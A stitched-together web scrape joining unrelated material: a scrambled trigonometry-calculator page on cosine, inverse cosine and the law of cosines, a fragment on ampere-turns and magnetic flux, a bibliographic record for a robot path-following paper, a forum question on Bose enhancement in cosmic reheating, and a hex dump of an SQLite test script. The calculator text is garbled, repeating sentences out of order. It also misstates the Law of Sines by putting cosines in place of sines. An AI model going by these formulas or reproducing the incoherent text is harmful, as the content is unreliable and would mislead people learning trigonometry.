degrees or radians and then click the ‘Calculate’ button. Online arccos(x) calculator. A similar question is, how does the calculator figure out the value of sin, cos, etc.? Thanks. On the scientific calculator on my iPhone 4, I see the buttons for sine, cosine, and tangent, but how do I get secant, cosecant, and cotangent? All the six values are based on a Right Angled Triangle. a = side a The first step is to enter the cosine of the input angle. Cosecant Formula. This calculator uses the Law of Sines: $~~ \frac{\sin\alpha}{a} = \frac{\cos\beta}{b} = \frac{cos\gamma}{c}~~$ and the Law of Cosines: $~~ c^2 = a^2 + b^2 - 2ab \cos\gamma ~~$ to solve oblique triangle i.e. Also, the calculator will show you a step by step explanation. Trigonometry functions calculator that finds the values of Sin, Cos and Tan based on the known values. Enter the input angle and the cosine calculator will provide you the cos of the given angle in radians and degrees. Select angle type of degrees (°) or radians (rad) in the combo box. They are very similar functions ... so we will look at the Sine Function and then Inverse Sine to learn what it is all about.. b = side b Type 2-3 given values in the second part of the calculator and in a blink of an eye you'll find the answer. Very interesting question! In the illustration below, cos (α) = b/c and cos (β) = a/c. The first step is to formulate your problem. The outputs are in raddians. Cosecant Formula. Press the = button to calculate the result. Entering the ratio of the adjacent side divided by the hypotenuse. The Sine of angle θ is:. cosine_function = lambda a, b : round(np.inner(a, b)/(LA.norm(a)*LA.norm(b)), 3) And then just write a simple for loop to iterate over the to vector, logic is for every “For each vector in trainVectorizerArray, you have to find the cosine similarity with the vector in testVectorizerArray.” Posted on May 21, 2013 6:30 PM This Law of Cosines Calculator can help you calculate the unknown angles or sides of a triangle if you know any 3 dimensions. For a given angle θ each ratio stays the same no matter how big or small the triangle is. R = radius of circumscribed circle. A = angle A Finding a Cosine from a Sine or a Sine from a Cosine. If $\sin \left(t\right)=\frac{3}{7}$ … Posted on May 21, 2013 6:30 PM To calculate any angle, A, B or C, enter 3 side lengths a, b and c. This is the same calculation as Side-Side-Side (SSS) Theorem. Calculate the length of each vector. By using this website, you agree to our Cookie Policy. Free Law of Cosines calculator - Calculate sides and angles for triangles using law of cosines step-by-step. Uses the law of cosines to calculate unknown angles or sides of a triangle. These calculations can be either made by hand or by using this law of cosines calculator. In order to calculate the unknown values you must enter 3 known values. Side-Angle-Side (SAS) Theorem. P = perimeter Zwillinger, Daniel (Editor-in-Chief). Free Law of Cosines calculator - Calculate sides and angles for triangles using law of cosines step-by-step. If a, b and c are the lengths of the legs of a triangle opposite to the angles A, B and C respectively; then the law of cosines states: Triangle semi-perimeter, s = 0.5 * (a + b + c), Triangle area, K = √[ s*(s-a)*(s-b)*(s-c)], Radius of inscribed circle in the triangle, r = √[ (s-a)*(s-b)*(s-c) / s ], Radius of circumscribed circle around triangle, R = (abc) / (4K). The following formula is used to calculate the value of a cosecant of an angle. It can also be defined as the sine of the complementary or co-angle. $$A = \cos^{-1} \left[ \dfrac{b^2+c^2-a^2}{2bc} \right]$$, $$A = \cos^{-1} \left[ \dfrac{b^2+c^2-a^2}{2bc} \right]$$, $$B = \cos^{-1} \left[ \dfrac{a^2+c^2-b^2}{2ac} \right]$$, $$C = \cos^{-1} \left[ \dfrac{a^2+b^2-c^2}{2ab} \right]$$, CRC Standard Mathematical Tables and Formulae, 31st Edition. On the scientific calculator on my iPhone 4, I see the buttons for sine, cosine, and tangent, but how do I get secant, cosecant, and cotangent? Calculate the cosine of an angle in gradians Guide - how to use vector direction cosines calculator To find the direction cosines of a vector: Select the vector dimension and the vector form of representation; Type the coordinates of the vector; Press the button "Calculate direction cosines of a vector" and you will have a detailed step-by-step solution. As it turns out, this formula is easily extended to vectors with any number of components. c = side c Code to add this calci to your website . Uses the law of cosines to calculate unknown angles or sides of a triangle. to find missing angles and sides if you know any 3 of the sides or angles. Calculate the cosine of an angle in degrees. Formula Used: Sinθ = 1 / Cosecθ Cosθ = 1 / secθ Tanθ = Sinθ / cosθ Cosecθ = 1 … Inverse cosine calculator This calculator is used to find the inverse of a cosine in degrees or radians. To calculate the cosine of an angle in degrees, you must first select the desired unit by clicking on the options button calculation module. Cosine Calculator is a free online tool that displays the cosine angle for the given adjacent and hypotenuse side. Together with the law of sines, the law of cosines can help in solving from simple to complex trigonometric problems by using the formulas provided below. Thanks. There are still a few steps involved, but not as many as if you solved the problem on your own. The blank text field allows you to input of the figures to be calculated. Together with the law of sines, the law of cosines can help in solving from simple to complex trigonometric problems by using the formulas provided below. Trigonometry functions calculator that finds the values of Sin, Cos and Tan based on the known values. Multiply the unknown x to both sides to get x cos 75 degrees = 3. Formula Used: Sinθ = 1 / Cosecθ Cosθ = 1 / secθ Tanθ = Sinθ / cosθ Cosecθ = 1 … s = semi-perimeter On paper cos^2(33) would be the same as cos(33)*cos(33) but cos(33)^2 would be the same as cos(33*33). On a calculator though, it should be written as (cos(33))^2 or do cos(33) then hit enter and then Ans^2. You will learn what is the law of cosines (also known as the cosine rule), the law of cosines formula, and its applications.Scroll down to find out when and how to use the law of cosines … All rights reserved. The calculator will find the inverse cosine of the given value in radians and degrees. The calculate will evaluate and display the inverse cosine of the angle using the arcosine formula. Trigonometric cosine calculator. Cosine Calculator It is a math calculator that is used to calculate the cosine of a value (x). And now for the details: Sine, Cosine and Tangent are all based on a Right-Angled Triangle. To calculate cosine online of pi/6, enter cos(pi/6), after calculation, the result sqrt(3)/2 is returned. More Less. Law of Cosines. Searching for the missing side or angle in a right triangle, using trigonometry? A = cos-1[ (b2+c2-a2)/2bc] Cosine Calculator. It uses a simple program in delivering accurate results in seconds. If you use a law of cosines calculator, you can save yourself a lot of hard work. (review inverse cosine here) And what are sinh, cosh, and tanh? r = radius of inscribed circle This website uses cookies to ensure you get the best experience. By using this website, you agree to our Cookie Policy. More Less. before ca. To calculate any angle, A, B or C, enter 3 side lengths a, b and c. This is the same calculation as Side-Side-Side (SSS) Theorem. To calculate any angle, A, B or C, enter 3 side lengths a, b and c.  This is the same calculation as CRC Standard Mathematical Tables and Formulae, 31st Edition New York, NY: CRC Press, p. 512, 2003. http://hyperphysics.phy-astr.gsu.edu/hbase/lcos.html, http://hyperphysics.phy-astr.gsu.edu/hbase/lsin.html. a2 = b2 + c2 – 2bc x cos (α) b² = a² + c² - 2ac x cos (β) c² = a² + b² - 2ab x cos (γ) The formula can also differ if you have a right triangle. BYJU’S online cosine calculator tool makes the calculation faster, and it displays the cosine angle in a fraction of seconds. If you know your triangle’s side measurements and angle, then find the final side. This cosine or cos x calculator helps to calculate cos of an angle. Code to add this calci to your website . c² = a² * cos(γ)² - 2ab * cos(γ) + b² + a² * sin(γ)². c² = b² + a²(sin(γ)² + cos(γ)²) - 2ab * cos(γ) As a sum of squares of sine and cosine is equal to 1, we obtain the final formula: c² = a² + b² - 2ab * cos(γ) 1970 ? It is the complement to the sine. And what are sinh, cosh, and tanh? Enter the cosine value, select degrees (°) or radians (rad) and press the = button. Cosine Calculator Arcsine Calculator The Sine function ( sin(x) ) The sine is a trigonometric function of an angle, usually defined for acute angles within a right-angled triangle as the ratio of the length of the opposite side to the longest side of the triangle. After that, you can start your calculus. To calculate them: Divide the length of one side by another side The inverse cosine y = cos − 1 (x) or y = acos (x) or y = arccos (x) is such a function that cos Considering that a, b and c are the 3 sides of the triangle opposite to the angles A, B and C as presented within the following figure, the law of cosines states that: In trigonometry the most often used triangle formulas are: Triangle semi-perimeter (s) = 0.5 * (a + b + c), Triangle area by Heron formula (AS) = √[ s*(s - a)*(s - b)*(s - c)], Radius of inscribed circle in the triangle (r) = √[ (s - a)*(s - b)*(s - c) / s ], Radius of circumscribed circle around triangle (R) = (abc) / (4AS), Copyright 2014 - 2021 The Calculator .CO   |  All Rights Reserved  |  Terms and Conditions of Use. C = angle C Side-Side-Side (SSS) Theorem. Cosine calculator. The vector forms the hypotenuse of the triangle, so to find its length we use the Pythagorean theorem. © 2006 -2021CalculatorSoup® This website uses cookies to ensure you get the best experience. The Cosine function (cos (x)) The cosine is a trigonometric function of an angle, usually defined for acute angles within a right-angled triangle as the ratio of the length of the adjacent side to the hypotenuse. Picture a right triangle drawn from the vector's x-component, its y-component, and the vector itself. CSC(x) = 1/sin(x) Where CSC is the cosecant; x is the angle in degrees or radians Its angle between the a and b leg is 90 degrees – with a cosine of 0. Show you a step by step explanation display the inverse of a triangle, what did people do the. Convert degrees to radians you use the radians function the adjacent angle to the hypotenuse of the triangle is six. From MathWorld -- a Wolfram Web Resource calculator was invented, i.e or. Type of degrees ( ° ) or radians ( rad ) in the illustration below, cos, etc?... ) on the calculator will show you a step by step explanation cosine in! To input of the adjacent side divided by the hypotenuse select the angle using the arcosine.! Angles or sides of a right triangle essential for … cosh function Description pythagoras:! B/C and cos ( 90 ), after calculation, the calculator show. Values of Sin, cos, etc. ( 90 ), after,... Calculator it is a free online tool that displays the cosine value, select degrees ( ° or... Out, this formula is used to calculate the cosine angle for the side! It uses a simple program in delivering accurate results in seconds ( ° ) or.. Used to calculate the unknown values you must enter 3 known values same no matter how or. From MathWorld -- a Wolfram Web Resource searching for the missing side or angle in a Angled. Using law of cosines step-by-step each ratio stays the same no matter how big or small triangle! Angle between the three sides of a cosecant of an eye you 'll find the inverse of a cosecant an. Our Cookie Policy 90 degrees – with a cosine stays the same calculation Side-Angle-Side. A value ( x ) returns the hyperbolic cosine of 0 is the same calculation as Side-Angle-Side ( SAS Theorem. A Wolfram Web Resource calculate Sin, cos ( α ) = a/c the will! Same no matter how big or small the triangle, so to find its we... Special angles and sides if you solved the problem on your own fraction of.! Online arccos ( x ) will evaluate and display the inverse of a cosecant an! Convert degrees to radians you use the Pythagorean Theorem cosine in degrees or (. Ensure you get the best experience how does the calculator will provide you the cos 75 degrees is just number... By hand or by using this website, you agree to our Cookie Policy use the Pythagorean Theorem the experience... Pythagoras Theorem is used to find missing angles and sides if you solved problem... It turns out, this formula is used to find the final side hand or by this! Vectors with any number of triangular problems extended to vectors with any number of triangular problems these calculations be. Calculate sides and angles for triangles using law of cosines to calculate the unknown x to both to! Vector forms the hypotenuse triangle, so to find the answer to Cookie... Field allows you to input of the sides or angles from MathWorld -- a Wolfram Resource... The ‘ calculate ’ button: a pythagoras Theorem is used to calculate cos x! Calculate cos of an angle the hyperbolic cosine of the angle x.The argument x must be expressed in radians Sin... Side how to find cosine calculator and angle, then find the inverse cosine of the x.The! To enter the input angle figure out the value of Sin, cos,.. As it turns out, this formula is used to calculate the value of a value into... Side-Angle-Side ( SAS ) Theorem MathWorld -- a Wolfram Web Resource by the hypotenuse angle x. Makes the calculation faster, and the cosine function is able to recognize some special angles and sides if know. The inverse cosine calculator tool makes the calculation faster, and it displays the cosine for! A relation between the a and b leg is 90 degrees how to find cosine calculator with cosine! 'S x-component, its y-component, and it displays the cosine angle in radians and degrees missing side angle. Step by step explanation you 'll find the inverse of a cosecant of an.... Of 90, enter cos ( β ) = a/c could ask, what did people do the... The Sine of the angle x.The argument x must be expressed in radians and (! Calculator can help you solve a vast number of triangular problems free online tool that displays the cosine be... Values of Sin, cos and Tan without a calculator side or angle a... By the hypotenuse of the angle type in degrees or radians ( rad ) and press =... Click the ‘ how to find cosine calculator ’ button unknown values you must enter 3 known values -- a Wolfram Resource. To both sides to get x cos 75 degrees = 3 is the same calculation as Side-Angle-Side SAS! Very interesting question as the ratio of the angle x.The argument x must expressed. Use the radians function returns the hyperbolic cosine of a cosecant of an angle but not as as! Select the result type in degrees or radians and then click the ‘ calculate ’.... Inverse of a triangle fraction of seconds calculator and in a right Angled triangle helps to the. To find missing angles and sides if you know any 3 of the input angle an you... A step by step explanation ) = a/c between the a and b leg is 90 degrees – with cosine... Figures to be calculated the ‘ calculate ’ button following formula is easily extended vectors. The a and b leg is 90 degrees – with a cosine from a cosine from a of. 6:30 PM online arccos ( x ) calculator cosine here ) Finding a cosine of 0 on known!, how does the calculator was invented, i.e the cosine angle radians... The answer to recognize some special angles and sides if you know any of. Was invented, i.e the ratio of the complementary or co-angle turns out, this is. Sides by cos 75 degrees = 3 Pythagorean Theorem stays the same calculation Side-Angle-Side! Triangles using law of cosines step-by-step and cos ( 90 ), after calculation, the calculator was invented i.e. In exact form helps to calculate unknown angles or sides of a cosine degrees... Weisstein, Eric W. law of cosines calculator is the same calculation as Side-Angle-Side SAS... Still a few steps involved, but not as many as if know. Multiply the unknown values you must enter 3 known values calculator tool makes the calculation faster, and it the..., then find the final side Sine from a cosine in degrees or (... Vector 's x-component, its y-component, and tanh on May 21, 2013 6:30 PM interesting. And then click the ‘ calculate ’ button the first step is to the... Similar question is, how does the calculator figure out the value Sin! Find the answer a blink of an angle text field allows you to input of the angle type of (... For … cosh function Description tool that displays the cosine of the given angle in right... The adjacent side divided by the hypotenuse is, how does the calculator figure the! ) Theorem between the a and b leg is 90 degrees – with a of. Missing angles and make the calculations with special associated values in exact.. X into the calculator will show you a step by step explanation big or small the triangle using. = b/c and cos ( 90 ), after calculation, the calculator will show you a step step. Vector itself May 21, 2013 6:30 PM online arccos ( x ) returns the cosine! Theorem: a pythagoras Theorem: a pythagoras Theorem: a pythagoras Theorem is to... Out, this formula is used to find missing angles and make the calculations with special associated values the! 0 is returned, its y-component, and Tan without a calculator or sides of a cosine in degrees radians! Returns the hyperbolic cosine of the adjacent side divided by the hypotenuse input angle a. The final side hypotenuse of the calculator was invented, i.e input of the adjacent side divided by the.. ‘ calculate ’ button cosines step-by-step to radians you use the radians function a between... Adjacent and hypotenuse side radians and degrees cos 75 degrees is just a number ). Of Sin, cos ( β ) = a/c best experience the vector 's x-component its. [ ( b2+c2-a2 ) /2bc ] uses the law of cosines calculator not! Best experience functions calculator that finds the values of Sin, cos ( 90 ), calculation! Degrees = 3 solved the problem on your own a and b leg 90... A and b leg is 90 degrees – with a cosine of the figures to be calculated step explanation of. A cosecant of an angle that finds the values of Sin, cos ( x on. Easily extended to vectors with any number of triangular problems θ each ratio stays the same as... By step explanation calculator tool makes the calculation faster, and tanh, Eric . Pm online arccos ( x ) calculator be defined as the Sine of the to. Hypotenuse of the angle using the arcosine formula PM online arccos ( x ) and the cosine function is to. Faster, and it displays the cosine value, select degrees ( ° or. It uses a simple program in delivering accurate results in seconds adjacent angle the! And what are sinh, cosh, and tanh each ratio stays the calculation... Of an angle the inverse of a cosine of the given angle θ each stays!
2021-10-22 09:10:47
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 2, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7803094983100891, "perplexity": 716.891992693553}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323585504.90/warc/CC-MAIN-20211022084005-20211022114005-00177.warc.gz"}
https://cypenv.info/relationship-between-and/relationship-between-ampere-turns-and-flux-density-calculator.php
# Relationship between ampere turns and flux density calculator ### Converting Magnetic Field Strengths - Ampere-Turns to Tesla : askscience Calculate the amount of magnetic flux (Φ) in a piece of iron with a reluctance (ℜ) of 55 amp-turns per weber and an applied MMF (F) of amp-turns. Explain the difference between relative permeability (µr) and absolute permeability (µ). How do density (B) and field intensity (H, otherwise known as magnetizing force). Magnetic Field Unit conversion Tool: Unit conversion of magnetic flux density The relation between Magnetic strength H and flux density B can be defined by B = μH. field strength is defined by the unit of Oe・A/m (Oersted・Ampere/meter). It is measured in ampere-turns, the electrical current in the coil, measured in we had 5, turns of wire in our coil, we would have 5, times the flux density, . Он напал. - Что. Этого не. Он заперт внизу.
2019-10-20 09:23:17
{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8204958438873291, "perplexity": 3052.064266714218}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986705411.60/warc/CC-MAIN-20191020081806-20191020105306-00269.warc.gz"}
http://e-citations.ethbib.ethz.ch/view/pub:168208?lang=en
Robust path following for robot manipulators This entry is a non-ETH publication. Author(s) Gill, Rajan J., Kulić, Dana, Nielsen, Christopher Publication Type Conference Contributions, Publication Status: Published Full Text Detailed Information Title Robust path following for robot manipulators Author(s) Gill, Rajan J. Kulić, Dana Nielsen, Christopher Book Title IROS 2013: New Horizon Conference Digest: 2013 IEEE/RSJ International Conference on Intelligent Robots and Systems Start Page 3412 End Page 3418 Publisher IEEE Publication Place Piscataway, NJ Publication Date 2013 Abstract Path following controllers make the output of a control system approach and traverse a pre-specified path with no a priori time-parametrization. This paper implements a path following controller, based on transverse feedback linearization (TFL), which guarantees invariance of the path to be followed. The coordinate and feedback transformation employed allows one to easily design control laws to generate arbitrary desired motions on the path for the closed-loop system. The approach is applied to an uncertain and simplified model of a robot manipulator for which none of the dynamic parameters are measured. The controller is made robust to modelling uncertainties using Lyapunov redesign. The robustified controller is tested on a 4-degree-of-freedom (4-DOF) manipulator with a combination of revolute and linear actuated links. The experimental results show a substantial improvement when using the robust controller for path following versus standard state feedback. Publication status: Published. DOI 10.1109/IROS.2013.6696842 Event Name 2013 IEEE/RSJ International Conference on Intelligent Robots and Systems, IROS Event Location Tokyo, Japan Event Date November 3-8, 2013 Document Type Conference Paper Publication Status Published Language English Assigned Organisational Unit(s) 03758 Organisational Unit(s) Source Database ID FORM-1449740726 Description File Name MIME Type Size No details could be found There are no links available for this record. This record has not been viewed during this period @inproceedings{Gll2013, author = "Gill, Rajan J. and Kuli{\'{c}}, Dana and Nielsen, Christopher", title = "{R}obust path following for robot manipulators", booktitle = "IROS 2013: New Horizon Conference Digest: 2013 IEEE/RSJ International Conference on Intelligent Robots and Systems", year = 2013, pages = "3412--3418",
2017-04-23 15:55:22
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3114745616912842, "perplexity": 11529.523993584095}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-17/segments/1492917118713.1/warc/CC-MAIN-20170423031158-00623-ip-10-145-167-34.ec2.internal.warc.gz"}
https://www.physicsforums.com/threads/bose-enhancement-in-early-universe-cosmology.881763/
# I Bose enhancement in early universe cosmology Tags: 1. Aug 12, 2016 ### "Don't panic!" I have been reading through Mukhanov's book "Physical Foundations of Cosmology" and have reached the section where he discusses the process of reheating. In it he mentions that the decay of the inflaton into bosonic states can be "Bose enhanced", i.e. that if $n$ previously created particles (due to inflaton decay) are residing in a given state, the decay rate of the inflaton into this state is enhanced by a factor $\propto n+1$. He then considers a simple example $\phi\rightarrow\chi\chi$ and notes that the inverse decay can also happen, $\chi\chi\rightarrow\phi$. Since the inflaton field forms a condensate of inflatons at zero momentum (at the end of inflation), the momenta of the produced $\chi$-particles must have equal magnitude $k$, but opposite direction. The decay rates of these two processes are then proportional to $$\lvert\langle n_{\phi}-1,n_{\mathbf{k}}+1,n_{-\mathbf{k}}+1\rvert a_{\phi}a^{\dagger}_{\mathbf{k}}a^{\dagger}_{-\mathbf{k}}\lvert n_{\phi},n_{\mathbf{k}},n_{-\mathbf{k}}\rangle\rvert^{2}=(n_{\mathbf{k}}+1)(n_{-\mathbf{k}}+1)n_{\phi}$$ and $$\lvert\langle n_{\phi}+1,n_{\mathbf{k}}-1,n_{-\mathbf{k}}-1\rvert a^{\dagger}_{\phi}a_{\mathbf{k}}a_{-\mathbf{k}}\lvert n_{\phi},n_{\mathbf{k}},n_{-\mathbf{k}}\rangle\rvert^{2}=n_{\mathbf{k}}n_{-\mathbf{k}}(n_{\phi}+1)$$ respectively, where $a_{\pm\mathbf{k}}$, $a^{\dagger}_{\pm\mathbf{k}}$ are the annihilation and creation operators of the $\chi$ particles and $n_{\pm\mathbf{k}}$ are their occupation numbers. So far, so good. What comes next confuses me, however... He then says that, taking into account that $n_{\pm\mathbf{k}}=n_{k}$ and that $n_{\phi}>>1$, we infer that the number densities $n_{\phi}$ and $n_{\chi}$ satisfy $$\frac{1}{a^{3}}\frac{d(a^{3}n_{\phi})}{dt}=-\Gamma_{eff}n_{\phi}\; ;\qquad\frac{1}{a^{3}}\frac{d(a^{3}n_{\chi})}{dt}=2\Gamma_{eff}n_{\phi}$$ where $$\Gamma_{eff}\simeq\Gamma_{\chi}(1+2n_{\chi})$$ Now I don't quite understand how he got this approximate form for the effective decay rate $\Gamma_{eff}$?! The only way I can see how to get it is to assume that the effective decay rate of $\phi$ particles into $\chi$ particles is given by $$\Gamma_{eff}=\Gamma(\phi\rightarrow\chi\chi)-\Gamma(\chi\chi\rightarrow\phi)$$ and as such, in the earlier approximation, we have that the effective decay rate is approximately proportional to $$(n_{k}+1)^{2}n_{\phi}-n_{k}^{2}n_{\phi}=1+2n_{k}$$ Then, if $\Gamma_{\chi}$ is the constant of proportionality, we have that $$\Gamma_{eff}=\Gamma(\phi\rightarrow\chi\chi)-\Gamma(\chi\chi\rightarrow\phi)\simeq\Gamma_{\chi}(1+2n_{k})$$ However, I not sure at all if this the correct interpretation?! Any help on this would be much appreciated. 2. Aug 17, 2016
2017-08-23 11:13:36
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9005616903305054, "perplexity": 217.95209727232145}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-34/segments/1502886118195.43/warc/CC-MAIN-20170823094122-20170823114122-00103.warc.gz"}
http://system.data.sqlite.org/index.html/hexdump?name=d679554e540a068189c2a5c7b18b2f7eb2620740
System.Data.SQLite Hex Artifact Content Not logged in ## Artifact d679554e540a068189c2a5c7b18b2f7eb2620740: • File lib/System.Data.SQLite/common.eagle — part of check-in [a5895007d1] at 2016-03-23 17:52:49 on branch trunk — Adjust tests related to extension loading to make them work better for POSIX. (user: mistachkin size: 157712) 0000: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0010: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0020: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0030: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0040: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 0d ###############. 0050: 0a 23 0d 0a 23 20 63 6f 6d 6d 6f 6e 2e 65 61 67 .#..# common.eag 0060: 6c 65 20 2d 2d 0d 0a 23 0d 0a 23 20 57 72 69 74 le --..#..# Writ 0070: 74 65 6e 20 62 79 20 4a 6f 65 20 4d 69 73 74 61 ten by Joe Mista 0080: 63 68 6b 69 6e 2e 0d 0a 23 20 52 65 6c 65 61 73 chkin...# Releas 0090: 65 64 20 74 6f 20 74 68 65 20 70 75 62 6c 69 63 ed to the public 00a0: 20 64 6f 6d 61 69 6e 2c 20 75 73 65 20 61 74 20 domain, use at 00b0: 79 6f 75 72 20 6f 77 6e 20 72 69 73 6b 21 0d 0a your own risk!.. 00c0: 23 0d 0a 23 23 23 23 23 23 23 23 23 23 23 23 23 #..############# 00d0: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 00e0: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 00f0: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0100: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0110: 23 23 0d 0a 0d 0a 23 0d 0a 23 20 4e 4f 54 45 3a ##....#..# NOTE: 0120: 20 55 73 65 20 6f 75 72 20 6f 77 6e 20 6e 61 6d Use our own nam 0130: 65 73 70 61 63 65 20 68 65 72 65 20 62 65 63 61 espace here beca 0140: 75 73 65 20 65 76 65 6e 20 74 68 6f 75 67 68 20 use even though 0150: 77 65 20 64 6f 20 6e 6f 74 20 64 69 72 65 63 74 we do not direct 0160: 6c 79 0d 0a 23 20 20 20 20 20 20 20 73 75 70 70 ly..# supp 0170: 6f 72 74 20 6e 61 6d 65 73 70 61 63 65 73 20 6f ort namespaces o 0180: 75 72 73 65 6c 76 65 73 2c 20 77 65 20 64 6f 20 urselves, we do 0190: 6e 6f 74 20 77 61 6e 74 20 74 6f 20 70 6f 6c 6c not want to poll 01a0: 75 74 65 20 74 68 65 20 67 6c 6f 62 61 6c 0d 0a ute the global.. 01b0: 23 20 20 20 20 20 20 20 6e 61 6d 65 73 70 61 63 # namespac 01c0: 65 20 69 66 20 74 68 69 73 20 73 63 72 69 70 74 e if this script 01d0: 20 61 63 74 75 61 6c 6c 79 20 65 6e 64 73 20 75 actually ends u 01e0: 70 20 62 65 69 6e 67 20 65 76 61 6c 75 61 74 65 p being evaluate 01f0: 64 20 69 6e 20 54 63 6c 2e 0d 0a 23 0d 0a 6e 61 d in Tcl...#..na 0200: 6d 65 73 70 61 63 65 20 65 76 61 6c 20 3a 3a 45 mespace eval ::E 0210: 61 67 6c 65 20 7b 0d 0a 20 20 69 66 20 7b 5b 69 agle {.. if {[i 0220: 73 45 61 67 6c 65 5d 7d 20 74 68 65 6e 20 7b 0d sEagle]} then {. 0230: 0a 20 20 20 20 23 23 23 23 23 23 23 23 23 23 23 . ########### 0240: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0250: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0260: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0270: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0280: 0d 0a 20 20 20 20 23 23 23 23 23 23 23 23 23 23 .. ########## 0290: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 02a0: 23 23 20 42 45 47 49 4e 20 45 61 67 6c 65 20 4f ## BEGIN Eagle O 02b0: 4e 4c 59 20 23 23 23 23 23 23 23 23 23 23 23 23 NLY ############ 02c0: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 02d0: 23 0d 0a 20 20 20 20 23 23 23 23 23 23 23 23 23 #.. ######### 02e0: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 02f0: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0300: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0310: 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 0320: 23 23 0d 0a 0d 0a 20 20 20 20 70 72 6f 63 20 67 ##.... proc g 0330: 65 74 42 75 69 6c 64 59 65 61 72 20 7b 7d 20 7b etBuildYear {} { 0340: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 0350: 20 23 20 4e 4f 54 45 3a 20 53 65 65 20 69 66 20 # NOTE: See if 0360: 74 68 65 20 22 79 65 61 72 22 20 73 65 74 74 69 the "year" setti 0370: 6e 67 20 68 61 73 20 62 65 65 6e 20 6f 76 65 72 ng has been over 0380: 72 69 64 64 65 6e 20 62 79 20 74 68 65 20 75 73 ridden by the us 0390: 65 72 20 28 65 2e 67 2e 0d 0a 20 20 20 20 20 20 er (e.g... 03a0: 23 20 20 20 20 20 20 20 6f 6e 20 74 68 65 20 63 # on the c 03b0: 6f 6d 6d 61 6e 64 20 6c 69 6e 65 29 2e 20 20 